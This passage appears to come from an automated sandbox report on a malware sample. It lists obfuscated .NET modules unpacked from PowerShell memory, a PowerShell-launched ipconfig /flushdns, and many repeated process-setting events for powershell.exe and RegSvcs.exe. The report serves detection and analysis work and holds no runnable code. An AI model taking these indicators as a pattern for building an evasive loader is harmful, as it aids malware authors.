Source: 0.2.powershell.exe.1ac16030578.2.raw.unpack, 8zNojDlPt46QazeXuL2Y6OFYWD4q0R1PB0Jr.cs	High entropy of concatenated method names: 'Vl7IYPbs0k94qffFzhKGetVhWAXE2DuwFW3Z', '_0Byrd5Yenv0fM67D8WjMm', 'FTmqyKQFF2nZLlpTlQxHj', 'ycVPE2G11CcWkNNNsiscT', '_1Ou3AbDogGuZOToO0DEh1'
Source: 0.2.powershell.exe.1ac16030578.2.raw.unpack, tSBhnwvdpxEXyJxA8lGv4Bgp4p8TME6qQQXq.cs	High entropy of concatenated method names: 'NxpU6fdmEe350QRzSjmBG9bNgqiTmTVt3HvB', '_0iGLzTupk4oCtdljtdO0J', 'GH26cbm9WLUxhV866JkHg', '_41oPTrdIImlCUF6BZDilb', 'sy473pUm38ZS8xSNy8qaL'
Source: 0.2.powershell.exe.1ac16030578.2.raw.unpack, QaWqpUWtixIY480pbeOtn5Zr4D7gzBZcHLuj.cs	High entropy of concatenated method names: 'J8wHw2osnqTKiwkc3AZR8dJNxdbogdSKtxmF', 'qRcvRLsx0rxBIjhYsY9PC5vCWjsb8g2zuOH7', 'hLvrRQnXSt6R0bWy2ezji7tuxQIXN8qZ0RVf', 'ceHhszv7a2pCt2179HvaC23Hie2toqek6kQm', 'rMQUqeCYVWFCeYXZemrUiFJninSg7w4dNwcp', 'w5OdajmqiE1M7BW3IMdtUvegP99kuNYpO8vy', 'BjIxTPFBlXVTDrgqc7l5EYgWBO9QbMzlkizN', 'Su3QHI7NRcYJwIpsPYz5ohtFr2qfwzPcRLZJ', 'vABejWKfbSdGkHO9pNjXKLu0vDNBKiHgCRXA', '_5rpp77KCzZlHIngjWeMz70hTryBV4kjkB21s'
Source: 0.2.powershell.exe.1ac16030578.2.raw.unpack, Ovf0N5CQI1OINhI7lGry0rZm9kRY1ouImX1rRJDUauSsRBy7XEy1Vt7xi5mHlsT56DNCiId2YJlUZmsE23x0zAxkvKtDD.cs	High entropy of concatenated method names: 'U5sr0xpHdPhDSSbzFhxVIzRWeUyjHKaz7fC1kB0zXHJhnGI0CUd6SU5JrE3jDkMuJaZ7EPji9ym2R2XoRsaHYn1rH30jX', '_1uaG3Jmqcbu2z3C6aXj7JDQp2ADrLzHvGZEbDAKFqxfCBIw8pqHWCSMAzwDlV7JEVIKw2jbg6Y6KWsHnPlqFhGkgkWgUO', 'zQW9aPhZQcTvVUKWPGF2Lx6BnGfcxuOWukqHMV5NabLvy73gvdWFFJrw8wap5tuyfzFK81X3Lcq2tDHNKzdH2wLMcfc6J', '_4evsVFwMgy4n0x0cZfFsT', 'bqSHGcZwiXLgYoIjsUGSg', 'Wgka3ShlAx39hjLg9aMl6', '_1GVuR1tPkrWg5WEjE8zNi', 'Gf4QevTLf6VvSRMQTyTwD', 'pLeUDmoCnx132zeKo40LY', 'OnEtj15FfkoF6zFGMzPj9'
Source: 0.2.powershell.exe.1ac16030578.2.raw.unpack, iHb4sM6YGQ9c4dJp0PcDcTbymDMrcNDmdcyptmWABN6esl0n9Gq730slwRvMQhBj9S7AVAKLOj0nx1lNlgFo1hvIZSqHt.cs	High entropy of concatenated method names: 'xIeDGhWJh2dTLJj2KIKIkFlXgJ7yVJFMa5ZsnMElaczn389Ab5jcRZjYkKt4ktw9FQNKLIiNSjxfAYBeFydeIuEsxRDU0', 'iidSY7kDOs5FStDZNmRMEjt7glMgsaLCx80cm1y6v2rBQX100VXnfdgl8ByYbIq1ko8jZmN3f7W1XVjrN27WQa2rilPm8', 'FExflqz2ggYzAB8RkhZzQMhxx6cV08pL74aeNkOLC16P1A5u4mPbh4a9MT8ExggxPZvlSo1Qtx8QnVUuKM1ZGz1xvvbVE', 'GrEs6aQJtRM5DVNA9OStPBAI69B70MrCQV4OAAGaHOcugd3H2svSK0xh9ENhsIxRZzNDGBo079U7lkA0mxcejrA46fvwu', 'jXQ7CW5pazCc1V0AEwdp5SnRJDYF7u5sZpU1n9bZRSjgDRix2AIbxFkub0H4SD8hHRAob5vbVGbs5kHrIA0a7heeGQbl7', 'glsn8zXWNedoYiCWR7ggZIm7mZY5mNmOoEyXSr6Gd9iu88DRgb03GoD5Jw1HVc9eduqMCd7d76L4cERmtSvnznvJHtpF0', 'iccNNeoF51wTxbpATnVFbAdt8d8MulXIqrA55pnFvGlLeEqiiqogIHyvrrBCs4jIsjlfOXE0IFpBmAe8fJwMIuIbeX9Kf', 'jZpp5aIkL5DUHdMmI7HQBPJ6EmvQxikeAD4IAgyMBLIyLX0x1fcGkG6MTlxst0p7C61krxBu4e1dGyIgXSrjFGo1hTvqR', 'pXBe9HFDtAdZotphcgbdt1jtfMAXkED5dptTH1HtOoBwh5VCyGpNPIeDaGpQRtHO5QEcup2bma2XS7Ndj7k2FVaPEumb1', 'Q1EltKwM1R3yq1zXEHilAmDHGT4S5fhl21UG'
Source: 0.2.powershell.exe.1ac16e49e40.0.raw.unpack, b02VErUOAyp7KgsN3bFDF2auprIqAGCLaGMp.cs	High entropy of concatenated method names: 'INkezmr6hizs7DYFjV4aAMMuO4B8vcIzpRzl', '_1UgweADLCOTyFcav1bCSPpZmBT2YjbCvAU2a', 'N38ShQwEPMzDIeuhJy4EphCuYO22ULsDR4AR', 'VQJXMcVFd751mpqtfhNss', 'MoXo9dtjQWauKcR4tF0QZ', '_9KThUWSyhPoAhybqdEEGn', 'ZOGHWakUiTGxpDEMxkgVq', 'VbdrNDJi8xPxLw2mCoL5G', 'ZDOPOAfhNiZba9q2wF0zk', 'gLT3eh2G9sbPPYX5MS02M'
Source: 0.2.powershell.exe.1ac16e49e40.0.raw.unpack, ecfzk1BLTMVYPDpfIlTKGWKme1YqqZGoyQ7Vc33TJphCOCCj76EqW1abpBIyhIQ4ZDwplcAJv1P6YGgTLqEZyNFN0Yjag.cs	High entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', 'Create__Instance__', 'Dispose__Instance__', 'aBhmG8hesQRZx5swb8QklvJR7WenRTLT4PpJ', 'J3SeuSTYALTr3yfRGGRIng8jjRcOlYfMvoE8', 'EoOkNZdPQEWcWFnAib8PkZw6yS7hompPojzR', 'FJElkQ5aMB1hwH9O2Q9GR2Cz4GaNeyxzx8iv'
Source: 0.2.powershell.exe.1ac16e49e40.0.raw.unpack, YEvg1ghr5oE7q291wupcmyp3OMXXDn6VzNcS.cs	High entropy of concatenated method names: 'ACdeIzXseyPo4zWqWy02RazcDiWaeYEF3sMU', 'KU6ebjx3tSHR1sS58Bl74qLknJYhh6poBC0K', 'N1sexz3RI1DpSUs8sFctRkct2k71o6Dw5adn', 'UqsaOcNK4UPWrSnz315O3fHPN7hmKXXzM5ek', 'JVZHi2GrdZvpd6rLMCYrVVcMGmoHeoBq6p3H', 'pyZ9AMn9R81CWO7jWKyfev1oi7ghwwdSnb3i', 'qZ6RmsuveDKUm2nZ6abIPK0CPfRROfax8QwG', 'NKRNz1jRg2dg9416sbsJ9O1Prxh7Ujl233zE', 'ai8NTPVbOPHKdfOoapJOEteWyRNHxMPPWDhT', 'NvDSL0KgPKbgoTgffwjCGHfA0D7JbHNtdeDP'
Source: 0.2.powershell.exe.1ac16e49e40.0.raw.unpack, 8zNojDlPt46QazeXuL2Y6OFYWD4q0R1PB0Jr.cs	High entropy of concatenated method names: 'Vl7IYPbs0k94qffFzhKGetVhWAXE2DuwFW3Z', '_0Byrd5Yenv0fM67D8WjMm', 'FTmqyKQFF2nZLlpTlQxHj', 'ycVPE2G11CcWkNNNsiscT', '_1Ou3AbDogGuZOToO0DEh1'
Source: 0.2.powershell.exe.1ac16e49e40.0.raw.unpack, tSBhnwvdpxEXyJxA8lGv4Bgp4p8TME6qQQXq.cs	High entropy of concatenated method names: 'NxpU6fdmEe350QRzSjmBG9bNgqiTmTVt3HvB', '_0iGLzTupk4oCtdljtdO0J', 'GH26cbm9WLUxhV866JkHg', '_41oPTrdIImlCUF6BZDilb', 'sy473pUm38ZS8xSNy8qaL'
Source: 0.2.powershell.exe.1ac16e49e40.0.raw.unpack, QaWqpUWtixIY480pbeOtn5Zr4D7gzBZcHLuj.cs	High entropy of concatenated method names: 'J8wHw2osnqTKiwkc3AZR8dJNxdbogdSKtxmF', 'qRcvRLsx0rxBIjhYsY9PC5vCWjsb8g2zuOH7', 'hLvrRQnXSt6R0bWy2ezji7tuxQIXN8qZ0RVf', 'ceHhszv7a2pCt2179HvaC23Hie2toqek6kQm', 'rMQUqeCYVWFCeYXZemrUiFJninSg7w4dNwcp', 'w5OdajmqiE1M7BW3IMdtUvegP99kuNYpO8vy', 'BjIxTPFBlXVTDrgqc7l5EYgWBO9QbMzlkizN', 'Su3QHI7NRcYJwIpsPYz5ohtFr2qfwzPcRLZJ', 'vABejWKfbSdGkHO9pNjXKLu0vDNBKiHgCRXA', '_5rpp77KCzZlHIngjWeMz70hTryBV4kjkB21s'
Source: 0.2.powershell.exe.1ac16e49e40.0.raw.unpack, Ovf0N5CQI1OINhI7lGry0rZm9kRY1ouImX1rRJDUauSsRBy7XEy1Vt7xi5mHlsT56DNCiId2YJlUZmsE23x0zAxkvKtDD.cs	High entropy of concatenated method names: 'U5sr0xpHdPhDSSbzFhxVIzRWeUyjHKaz7fC1kB0zXHJhnGI0CUd6SU5JrE3jDkMuJaZ7EPji9ym2R2XoRsaHYn1rH30jX', '_1uaG3Jmqcbu2z3C6aXj7JDQp2ADrLzHvGZEbDAKFqxfCBIw8pqHWCSMAzwDlV7JEVIKw2jbg6Y6KWsHnPlqFhGkgkWgUO', 'zQW9aPhZQcTvVUKWPGF2Lx6BnGfcxuOWukqHMV5NabLvy73gvdWFFJrw8wap5tuyfzFK81X3Lcq2tDHNKzdH2wLMcfc6J', '_4evsVFwMgy4n0x0cZfFsT', 'bqSHGcZwiXLgYoIjsUGSg', 'Wgka3ShlAx39hjLg9aMl6', '_1GVuR1tPkrWg5WEjE8zNi', 'Gf4QevTLf6VvSRMQTyTwD', 'pLeUDmoCnx132zeKo40LY', 'OnEtj15FfkoF6zFGMzPj9'
Source: 0.2.powershell.exe.1ac16e49e40.0.raw.unpack, iHb4sM6YGQ9c4dJp0PcDcTbymDMrcNDmdcyptmWABN6esl0n9Gq730slwRvMQhBj9S7AVAKLOj0nx1lNlgFo1hvIZSqHt.cs	High entropy of concatenated method names: 'xIeDGhWJh2dTLJj2KIKIkFlXgJ7yVJFMa5ZsnMElaczn389Ab5jcRZjYkKt4ktw9FQNKLIiNSjxfAYBeFydeIuEsxRDU0', 'iidSY7kDOs5FStDZNmRMEjt7glMgsaLCx80cm1y6v2rBQX100VXnfdgl8ByYbIq1ko8jZmN3f7W1XVjrN27WQa2rilPm8', 'FExflqz2ggYzAB8RkhZzQMhxx6cV08pL74aeNkOLC16P1A5u4mPbh4a9MT8ExggxPZvlSo1Qtx8QnVUuKM1ZGz1xvvbVE', 'GrEs6aQJtRM5DVNA9OStPBAI69B70MrCQV4OAAGaHOcugd3H2svSK0xh9ENhsIxRZzNDGBo079U7lkA0mxcejrA46fvwu', 'jXQ7CW5pazCc1V0AEwdp5SnRJDYF7u5sZpU1n9bZRSjgDRix2AIbxFkub0H4SD8hHRAob5vbVGbs5kHrIA0a7heeGQbl7', 'glsn8zXWNedoYiCWR7ggZIm7mZY5mNmOoEyXSr6Gd9iu88DRgb03GoD5Jw1HVc9eduqMCd7d76L4cERmtSvnznvJHtpF0', 'iccNNeoF51wTxbpATnVFbAdt8d8MulXIqrA55pnFvGlLeEqiiqogIHyvrrBCs4jIsjlfOXE0IFpBmAe8fJwMIuIbeX9Kf', 'jZpp5aIkL5DUHdMmI7HQBPJ6EmvQxikeAD4IAgyMBLIyLX0x1fcGkG6MTlxst0p7C61krxBu4e1dGyIgXSrjFGo1hTvqR', 'pXBe9HFDtAdZotphcgbdt1jtfMAXkED5dptTH1HtOoBwh5VCyGpNPIeDaGpQRtHO5QEcup2bma2XS7Ndj7k2FVaPEumb1', 'Q1EltKwM1R3yq1zXEHilAmDHGT4S5fhl21UG'

Persistence and Installation Behavior

Uses ipconfig to lookup or modify the Windows network settings

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\ipconfig.exe "C:\Windows\system32\ipconfig.exe" /flushdns

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
